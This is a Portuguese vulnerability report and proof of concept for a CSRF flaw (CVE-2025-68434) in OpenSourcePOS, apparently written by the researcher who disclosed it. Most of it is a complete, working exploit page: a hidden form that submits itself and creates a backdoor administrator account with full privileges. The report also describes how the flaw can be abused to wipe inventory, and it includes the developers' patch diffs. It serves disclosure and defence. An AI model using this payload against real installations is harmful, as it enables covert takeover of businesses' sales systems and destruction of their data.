
PoC & Relatório para CVE-2025-68434: CSRF Crítico no OpenSourcePOS. Explora uma configuração de filtro desabilitada para permitir que atacantes não autenticados criem silenciosamente contas de Administrador falsas, levando à tomada total do sistema. Validado em versões < 3.4.0.
| Metadados | Detalhes |
|---|---|
| ID CVE | CVE-2025-68434 |
| Severidade | Crítica (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidade | Cross-Site Request Forgery (CWE-352) |
| Versões Afetadas | OpenSourcePOS v3.4.0, v3.4.1 |
| Versão Corrigida | v3.4.2 |
| Componente Vulnerável | app/Config/Filters.php (Filtros Globais de Segurança) |
| Reportado por | Aditya Singh (Nixon-H) |
Uma vulnerabilidade Crítica de Cross-Site Request Forgery (CSRF) foi descoberta na configuração de segurança principal do OpenSourcePOS. O mecanismo de proteção CSRF global da aplicação foi explicitamente desabilitado no arquivo app/Config/Filters.php devido a um "TODO" temporário de desenvolvimento que nunca foi resolvido.
Essa má configuração permitiu que a aplicação aceitasse requisições HTTP de mudança de estado (POST) sem verificar um token antifalsificação válido. Um atacante remoto não autenticado poderia explorar isso ao enganar um Administrador logado para visitar uma página maliciosa. A página do atacante então forçaria silenciosamente o navegador da vítima a executar ações administrativas; especificamente, criar uma nova conta de Administrador "Backdoor" com privilégios totais; levando a uma tomada completa do sistema.
A vulnerabilidade estava localizada na configuração dos Filtros Globais (app/Config/Filters.php). No CodeIgniter 4, o array $globals determina quais filtros são executados em todas as requisições.
Nas versões afetadas, o filtro csrf foi comentado na lista de execução before, efetivamente desabilitando a proteção CSRF para toda a aplicação.
Código Vulnerável (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Porque essa linha foi comentada, o middleware responsável por verificar csrf_token_name nunca foi executado. A aplicação aceitava qualquer requisição POST de qualquer origem, confiando apenas no cookie de sessão (ospos_session) para autenticação.
csrf_exploit.html em um servidor externo.valid_12345) é criada instantaneamente.POC/csrf_exploit.html)Este é o payload exato usado para criar um Administrador malicioso com permissões totais:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(Imagens e arquivos de exploit estão localizados no diretório POC/)
Captura de tela 1: A Execução do Exploit
Captura de tela 2: A Conta Maliciosa Criada
🎥 Demonstração em Vídeo: Clique para Assistir / Baixar o Vídeo PoC
A conta criada não é apenas uma sessão temporária; é uma entrada permanente no banco de dados.
Usando a permissão grant_config, o atacante pode modificar a Configuração da Loja.
/items/delete), apagando todo o banco de dados de inventário de produtos e paralisando as operações comerciais.A vulnerabilidade foi corrigida no OpenSourcePOS v3.4.2. A correção exigiu uma mudança arquitetural em várias etapas para lidar com condições de corrida na interface de vendas com uso intenso de AJAX.
Em app/Config/Filters.php, o filtro CSRF global foi descomentado.
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
Em app/Config/Security.php, os desenvolvedores trocaram de tokens baseados em cookies para tokens baseados em sessão e desabilitaram a regeneração de tokens para evitar problemas com requisições AJAX paralelas (ex.: no módulo de Vendas).
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
O arquivo app/Views/partial/header_js.php foi atualizado para injetar o hash do token diretamente do servidor em vez de lê-lo de um cookie do lado do cliente, melhorando a postura de segurança.
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d) e verificada pelo pesquisador.